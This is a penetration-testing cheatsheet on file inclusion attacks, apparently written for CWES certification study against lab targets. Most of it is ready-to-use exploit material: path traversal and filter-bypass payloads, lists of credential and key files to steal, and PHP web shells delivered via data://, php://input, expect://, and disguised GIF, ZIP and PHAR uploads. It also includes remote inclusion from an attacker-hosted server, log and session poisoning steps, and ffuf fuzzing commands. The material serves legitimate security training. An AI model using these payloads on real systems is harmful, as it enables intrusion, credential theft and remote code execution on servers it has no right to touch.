Post

CWES Cheatsheet — File Inclusion

CWES Cheatsheet — File Inclusion

file inclusion vulnerabilities let you read (or in some cases execute) files on the server. LFI is the common one, but PHP wrappers open up a whole extra layer of exploitation.


Local File Inclusion

CommandDescription
Basic LFI 
/index.php?language=/etc/passwdbasic LFI
/index.php?language=../../../../etc/passwdLFI with path traversal — useful to identify valid users on target server
/index.php?language=/../../../etc/passwdLFI with name prefix
GET /index.php?language=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswdURL-encoded path traversal
/index.php?language=./languages/../../../../etc/passwdLFI with approved path
GET /index.php?language=languages/....//....//....//....//...//flag.txtLFI with approved path of languages/ in front and escaping filter
LFI Bypasses 
/index.php?language=....//....//....//....//....//etc/passwdbypass basic path traversal filter
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64bypass filters with URL encoding
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]bypass appended extension with path truncation (obsolete)
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; donebash script to produce the required 2048-times traversal path
/index.php?language=../../../../etc/passwd%00bypass appended extension with null byte (obsolete)
/index.php?language=php://filter/read=convert.base64-encode/resource=configread source code for PHP page with base64 filter

Important Files to Read via LFI

Linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
/etc/passwd                          # Users list
/etc/shadow                          # Password hashes (if readable)
/etc/hosts                           # Internal hostnames
/etc/hostname                        # Server hostname
/home/<user>/.ssh/id_rsa             # SSH private key
/home/<user>/.ssh/authorized_keys    # SSH authorized keys
/home/<user>/.bash_history           # Command history
/var/www/html/config.php             # PHP app config (DB creds)
/var/www/html/.env                   # Environment file (creds/keys)
/var/www/html/wp-config.php          # WordPress config
/proc/self/environ                   # Environment variables
/proc/self/cmdline                   # Running process command
/proc/version                        # Kernel version

Windows:

1
2
3
4
5
6
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Users\<user>\.ssh\id_rsa
C:\inetpub\wwwroot\web.config
C:\xampp\passwords.txt
C:\xampp\apache\conf\httpd.conf

Web app config files (look for DB creds, API keys):

1
2
3
4
5
6
7
8
9
config.php
db.php
database.php
settings.php
.env
wp-config.php
configuration.php          # Joomla
LocalSettings.php          # MediaWiki
web.config                 # IIS/.NET

always read config.php, .env, db.php first via php://filter to find DB creds that can chain into SQLi or admin access.


LFI Filter Bypass Techniques

when basic ../ and path traversal gets blocked, try these:

TechniquePayloadWhen to Use
Double encoding%252e%252e%252fWAF decodes once, app decodes again
UTF-8 encoding..%c0%af or ..%ef%bc%8fbypass non-recursive filters
Dot-dot-slash variations....//, ....\/, ..././filter removes ../ once but not recursively
Backslash (Windows)..\..\..\..\etc\passwdWindows servers accept both / and \
URL encode dot%2e%2e/%2e%2e/etc/passwdfilter blocks .. but not encoded version
Double URL encode full path%252e%252e%252f%252e%252e%252fetc%252fpasswddouble decode needed
Null byte (old PHP)../../../../etc/passwd%00PHP < 5.3.4, strips appended extension
Path truncation../../../etc/passwd/./././.[x2048]PHP < 5.3, exceeds path length limit, drops appended extension

Bypass Appended Extensions

some apps append an extension like .php to your input: include($_GET['lang'] . '.php') — so ../../../../etc/passwd becomes ../../../../etc/passwd.php which doesn’t exist.

TechniquePayloadPHP Version
Null byte../../../../etc/passwd%00< 5.3.4 only
Path truncation../../../../etc/passwd/./././.[x2048]< 5.3 only
php://filter (best)php://filter/read=convert.base64-encode/resource=configall versions
zip:// wrapperzip://shell.zip%23shell.phpall versions
data:// wrapperdata://text/plain;base64,PD9waHAgc3lzdGVtKC...needs allow_url_include

on modern PHP (5.4+), null byte and path truncation don’t work. use php://filter — it ignores appended extensions automatically.

Quick test order for bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1. Basic
../../../../etc/passwd

# 2. Double dot-slash
....//....//....//etc/passwd

# 3. URL encoded
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# 4. Double URL encoded
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

# 5. UTF-8 overlong
..%c0%af..%c0%af..%c0%afetc/passwd

# 6. With null byte (old PHP)
../../../../etc/passwd%00

# 7. With approved path prefix
languages/....//....//....//etc/passwd

LFI Quick Payload Test Order

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 1. Confirm LFI
../../../../etc/passwd

# 2. If blocked, bypass
....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%252e%252e%252f%252e%252e%252fetc%252fpasswd

# 3. Read source code (ALWAYS do this)
php://filter/read=convert.base64-encode/resource=config.php
php://filter/read=convert.base64-encode/resource=index.php

# 4. Check allow_url_include
php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini

# 5. If allow_url_include=On → instant RCE
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id

# 6. If Off → try log poisoning
curl -s "http://target.htb/" -A '<?php system($_GET["cmd"]); ?>'
../../../../var/log/apache2/access.log&cmd=id

# 7. Try session poisoning
../../../../var/lib/php/sessions/sess_YOUR_SESSION_ID&cmd=id

All PHP Wrappers Reference

WrapperPayloadRequiresUse
php://filterphp://filter/read=convert.base64-encode/resource=confignothingread source code without execution
php://inputPOST body: <?php system($_GET['cmd']); ?>allow_url_include=OnRCE via POST body
data://data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=idallow_url_include=OnRCE via URL
expect://expect://idexpect extension installeddirect command execution
zip://zip://shell.zip%23shell.php&cmd=idupload ZIP fileRCE via uploaded zip
phar://phar://./profile_images/shell.jpg%2Fshell.txt&cmd=idupload phar as imageRCE via uploaded phar

Check if wrappers are enabled

1
2
3
4
5
6
7
# Read php.ini via LFI
curl "http://target.htb/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

# Decode and check
echo "BASE64_OUTPUT" | base64 -d | grep allow_url_include
echo "BASE64_OUTPUT" | base64 -d | grep allow_url_fopen
echo "BASE64_OUTPUT" | base64 -d | grep disable_functions

php://filter ALWAYS works regardless of settings. try it first to read source code — you might find creds, hidden endpoints, or other vulns in the code.

php://filter useful chains

1
2
3
4
5
6
7
8
9
# Read PHP file as base64 (prevents execution)
php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=config.php
php://filter/read=convert.base64-encode/resource=db.php
php://filter/read=convert.base64-encode/resource=upload.php
php://filter/read=convert.base64-encode/resource=login.php

# Read without base64 (plaintext)
php://filter/resource=config.php

LFI to RCE — PHP Wrappers

all of these turn your LFI into remote code execution. first check what’s enabled, then pick the right method.

Step 0: Always Check PHP Config First

1
2
3
4
5
6
# Read php.ini via LFI (this always works)
curl "http://TARGET:PORT/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

# Decode and check
echo "BASE64_OUTPUT" | base64 -d | grep allow_url_include
echo "BASE64_OUTPUT" | base64 -d | grep expect
SettingIf OnIf Off
allow_url_includedata://, php://input, RFI all workblocked — use log poisoning or upload+LFI
expect extensionexpect:// worksnot available (rare extension anyway)

Method 1: data:// wrapper (PHP shell in URL)

how it works: you base64-encode a PHP shell and put it directly in the URL. PHP decodes and executes it.

1
2
3
4
5
6
# Step 1: Encode your shell
echo -n '<?php system($_GET["cmd"]); ?>' | base64
# Output: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+

# Step 2: Put it in the URL
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id

requires allow_url_include = On. best for quick one-request RCE, no file upload needed.

Method 2: php://input (PHP shell in POST body)

how it works: you send PHP code in the POST request body. PHP reads the body via php://input and executes it.

1
2
3
curl -s -X POST \
  --data '<?php system($_GET["cmd"]); ?>' \
  "http://TARGET:PORT/index.php?language=php://input&cmd=id"

requires allow_url_include = On. best for when URL length is limited (data:// puts everything in URL, this uses POST body instead).

Method 3: expect:// (direct command, no PHP needed)

how it works: runs the command directly — no PHP shell code needed at all.

1
2
3
curl "http://TARGET:PORT/index.php?language=expect://id"
curl "http://TARGET:PORT/index.php?language=expect://whoami"
curl "http://TARGET:PORT/index.php?language=expect://cat+/flag.txt"

requires expect PHP extension installed (rare). simplest method if available — just type the command after expect://.


LFI + Upload (when allow_url_include = Off)

these methods don’t need allow_url_include. you upload a file with hidden PHP, then include it via LFI.

Method 1: GIF + LFI (simplest)

how it works: hide PHP inside a fake GIF image. upload it. include it via LFI and PHP executes.

1
2
3
4
5
6
7
# Step 1: Create fake GIF with PHP inside
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

# Step 2: Upload shell.gif as profile picture (normal upload)

# Step 3: Include via LFI → PHP sees GIF8 (harmless text) then executes the PHP code
/index.php?language=./profile_images/shell.gif&cmd=id

best for: most common method, works whenever you have upload + LFI.

Method 2: ZIP + LFI

how it works: put PHP shell inside a ZIP. upload ZIP as .jpg. use zip:// wrapper to extract and execute the PHP file inside.

1
2
3
4
5
6
7
8
9
10
# Step 1: Create shell and zip it
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.jpg shell.php

# Step 2: Upload shell.jpg as profile picture

# Step 3: Use zip:// to extract and execute
# zip://FILE%23FILE_INSIDE_ZIP
# %23 = # (tells PHP which file inside the ZIP to open)
/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id

best for: when server checks magic bytes (GIF trick might fail, but ZIP passes as binary).

Method 3: PHAR + LFI

how it works: same concept as ZIP but uses PHP Archive format. create PHAR, rename to .jpg, upload, include via phar://.

1
2
3
4
5
6
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
1
2
3
4
5
6
7
8
9
10
11
12
# Compile it
php --define phar.readonly=0 build.php

# Rename to image
mv shell.phar shell.jpg

# Upload shell.jpg

# Include via phar://
# phar://FILE%2FFILE_INSIDE_PHAR
# %2F = / (path separator inside phar)
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

best for: alternative to ZIP when zip:// doesn’t work.


RFI — Remote File Inclusion

instead of including a local file, you include a file from YOUR server.

CommandDescription
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>host web shell
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=idinclude remote PHP web shell

RFI Checks and Techniques

verify RFI is possible:

1
2
3
4
5
6
# Check allow_url_include via php://filter
curl "http://target.htb/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
echo "BASE64" | base64 -d | grep allow_url_include

# allow_url_include = On → RFI works
# allow_url_include = Off → RFI blocked, use LFI methods instead

RFI via HTTP:

1
2
3
4
5
6
7
8
# Step 1: Create shell on Kali
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Step 2: Host it
python3 -m http.server 8080

# Step 3: Include it
curl "http://target.htb/index.php?language=http://YOUR_IP:8080/shell.php&cmd=id"

RFI via FTP (if HTTP is blocked):

1
2
3
4
5
# Step 1: Start FTP server on Kali
sudo python3 -m pyftpdlib -p 21

# Step 2: Include via FTP
curl "http://target.htb/index.php?language=ftp://YOUR_IP/shell.php&cmd=id"

RFI via SMB (Windows targets):

1
2
3
4
5
# Step 1: Start SMB share on Kali
impacket-smbserver -smb2support share $(pwd)

# Step 2: Include via UNC path
curl "http://target.htb/index.php?language=\\\\YOUR_IP\\share\\shell.php&cmd=id"

if HTTP RFI is blocked by firewall, try FTP or SMB — they often aren’t filtered.


Log and Session Poisoning

CommandDescription
PHPSESSID=nguh23jsnmkjuvesphkhoo2pttexample session cookie indicating log path as /var/lib/php/sessions/sess_nguh23jsnmkjuvesphkhoo2ptt
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsdread PHP session parameters
<?php system($_GET["cmd"]);?>webshell URL-encoded to %3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3Epoison PHP session with web shell
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=idRCE through poisoned PHP session
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'poison server log
/index.php?language=/var/log/apache2/access.log&cmd=idRCE through poisoned log

for log poisoning to work you need: LFI to read the log + ability to inject PHP into the log.

Linux log paths to try

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/syslog
/var/log/auth.log
/var/log/vsftpd.log
/var/log/mail.log
/proc/self/environ
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2

Windows log paths

1
2
3
4
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\inetpub\logs\LogFiles\W3SVC1\
C:\Windows\System32\LogFiles\

PHP session paths

1
2
3
4
/var/lib/php/sessions/sess_<SESSION_ID>
/var/lib/php5/sessions/sess_<SESSION_ID>
/tmp/sess_<SESSION_ID>
C:\Windows\Temp\sess_<SESSION_ID>

Log Poisoning Step-by-Step

Method 1 — Apache access.log via User-Agent

1
2
3
4
5
6
7
8
# Step 1: Verify you can read the log
curl "http://target.htb/index.php?language=../../../../var/log/apache2/access.log"

# Step 2: Poison the log with PHP in User-Agent
curl -s "http://target.htb/" -A '<?php system($_GET["cmd"]); ?>'

# Step 3: Trigger the shell via LFI
curl "http://target.htb/index.php?language=../../../../var/log/apache2/access.log&cmd=id"

Method 2 — PHP session poisoning

1
2
3
4
5
6
7
8
9
10
11
# Step 1: Check your session cookie
# Cookie: PHPSESSID=abc123def456

# Step 2: Verify you can read the session file
curl "http://target.htb/index.php?language=../../../../var/lib/php/sessions/sess_abc123def456"

# Step 3: Poison the session — put PHP in a parameter that gets stored in session
curl "http://target.htb/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"

# Step 4: Trigger via LFI
curl "http://target.htb/index.php?language=../../../../var/lib/php/sessions/sess_abc123def456&cmd=id"

Method 3 — SSH log poisoning (if SSH is open)

1
2
3
4
5
# Step 1: SSH with PHP payload as username
ssh '<?php system($_GET["cmd"]); ?>'@target.htb

# Step 2: Include auth.log via LFI
curl "http://target.htb/index.php?language=../../../../var/log/auth.log&cmd=id"

Method 4 — Mail log poisoning (if SMTP port 25 open)

1
2
3
4
5
6
7
8
9
10
# Step 1: Send email with PHP in body
telnet target.htb 25
MAIL FROM:<attacker@evil.com>
RCPT TO:<?php system($_GET['cmd']); ?>
DATA
.
QUIT

# Step 2: Include mail log via LFI
curl "http://target.htb/index.php?language=../../../../var/log/mail.log&cmd=id"

Method 5 — /proc/self/environ

1
2
3
4
5
6
7
# Step 1: Check if readable
curl "http://target.htb/index.php?language=../../../../proc/self/environ"

# Step 2: Send request with PHP in User-Agent
curl -s "http://target.htb/index.php?language=../../../../proc/self/environ" -A '<?php system($_GET["cmd"]); ?>'

# If HTTP_USER_AGENT is in environ output, PHP gets executed

Fuzzing LFI Parameters and Files

LFI Fuzzing Wordlists

WordlistUse
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txtbest all-in-one LFI payload list
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txtLinux sensitive files
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txtWindows sensitive files
/usr/share/seclists/Discovery/Web-Content/default-web-root-directory-linux.txtLinux webroot paths
/usr/share/seclists/Discovery/Web-Content/default-web-root-directory-windows.txtWindows webroot paths
LFI-WordList-LinuxLinux server config files
LFI-WordList-WindowsWindows server config files
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txtparameter name discovery

Hosting Files for RFI

CommandUse
python3 -m http.server 8080HTTP server (for RFI via http://)
sudo python3 -m pyftpdlib -p 21FTP server (for RFI via ftp:// when HTTP blocked)
impacket-smbserver -smb2support share $(pwd)SMB share (for RFI on Windows targets via UNC path)

Step 1: Find the Vulnerable Parameter

before you can exploit LFI, you need to find which parameter is injectable.

1
2
3
# Fuzz for hidden parameters on a page
ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
  -u 'http://TARGET:PORT/index.php?FUZZ=../../../../etc/passwd' -fs <default_size>

Common LFI parameter names to try manually:

1
2
3
4
5
6
7
8
9
10
11
12
?page=
?file=
?language=
?lang=
?view=
?include=
?template=
?doc=
?path=
?log=
?content=
?module=

Step 2: Fuzz LFI Payloads (find which traversal works)

1
2
3
# Fuzz with LFI-Jhaddix wordlist (best all-in-one LFI wordlist)
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
  -u 'http://TARGET:PORT/index.php?language=FUZZ' -fs <default_size>

this tries hundreds of ../ variations, encoding bypasses, and known file paths automatically.

Step 3: Fuzz Webroot Path (find where web files are)

need to know the webroot to read PHP source code or find upload directory.

1
2
3
4
5
6
7
# Linux webroot
ffuf -w /usr/share/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ \
  -u 'http://TARGET:PORT/index.php?language=../../../../FUZZ/index.php' -fs <default_size>

# Windows webroot
ffuf -w /usr/share/seclists/Discovery/Web-Content/default-web-root-directory-windows.txt:FUZZ \
  -u 'http://TARGET:PORT/index.php?language=..\..\..\..\FUZZ\index.php' -fs <default_size>

Common webroot paths:

1
2
3
4
5
6
7
8
9
10
11
# Linux
/var/www/html/
/var/www/
/usr/share/nginx/html/
/srv/www/htdocs/
/opt/lampp/htdocs/

# Windows
C:\inetpub\wwwroot\
C:\xampp\htdocs\
C:\wamp\www\

Step 4: Fuzz Interesting Files (configs, logs, keys)

1
2
3
4
5
6
7
8
9
10
11
# Fuzz for sensitive Linux files
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt:FUZZ \
  -u 'http://TARGET:PORT/index.php?language=../../../../FUZZ' -fs <default_size>

# Fuzz for sensitive Windows files
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt:FUZZ \
  -u 'http://TARGET:PORT/index.php?language=..\..\..\..\FUZZ' -fs <default_size>

# Fuzz server config files (Linux)
ffuf -w ./LFI-WordList-Linux:FUZZ \
  -u 'http://TARGET:PORT/index.php?language=../../../../FUZZ' -fs <default_size>

Step 5: Fuzz PHP Files (find hidden pages)

1
2
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ \
  -u 'http://TARGET:PORT/FUZZ.php' -fc 404

finding hidden PHP pages gives you more parameters to test for LFI, SQLi, etc.

Proxy Through Burp

1
2
3
4
ffuf -c -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
  -u 'http://TARGET:PORT/index.php?language=FUZZ' \
  -fs <default_size> \
  -replay-proxy http://127.0.0.1:8080

File Inclusion Functions

not all functions give you the same capabilities. this matters for knowing what’s possible:

FunctionRead ContentExecute CodeRemote URLNotes
PHP    
include() / include_once()yesyesyesbest for LFI to RCE. executes PHP + allows RFI
require() / require_once()yesyesnoexecutes PHP but NO remote include
file_get_contents()yesnoyesread only — can read remote URLs but won’t execute PHP
fopen() / file()yesnonoread only, local only
NodeJS    
fs.readFile()yesnonoread only
fs.sendFile()yesnonoread only
res.render()yesyesnocan execute templates (SSTI potential)
Java    
includeyesnonoJSP include, read only
importyesyesyesfull LFI+RFI+execution
.NET    
@Html.Partial()yesnonolocal read only
@Html.RemotePartial()yesnoyescan read remote but no execution
Response.WriteFile()yesnonolocal read only
includeyesyesyesfull LFI+RFI+execution

← Back to CWES Cheatsheet Index

This post is licensed under CC BY 4.0 by the author.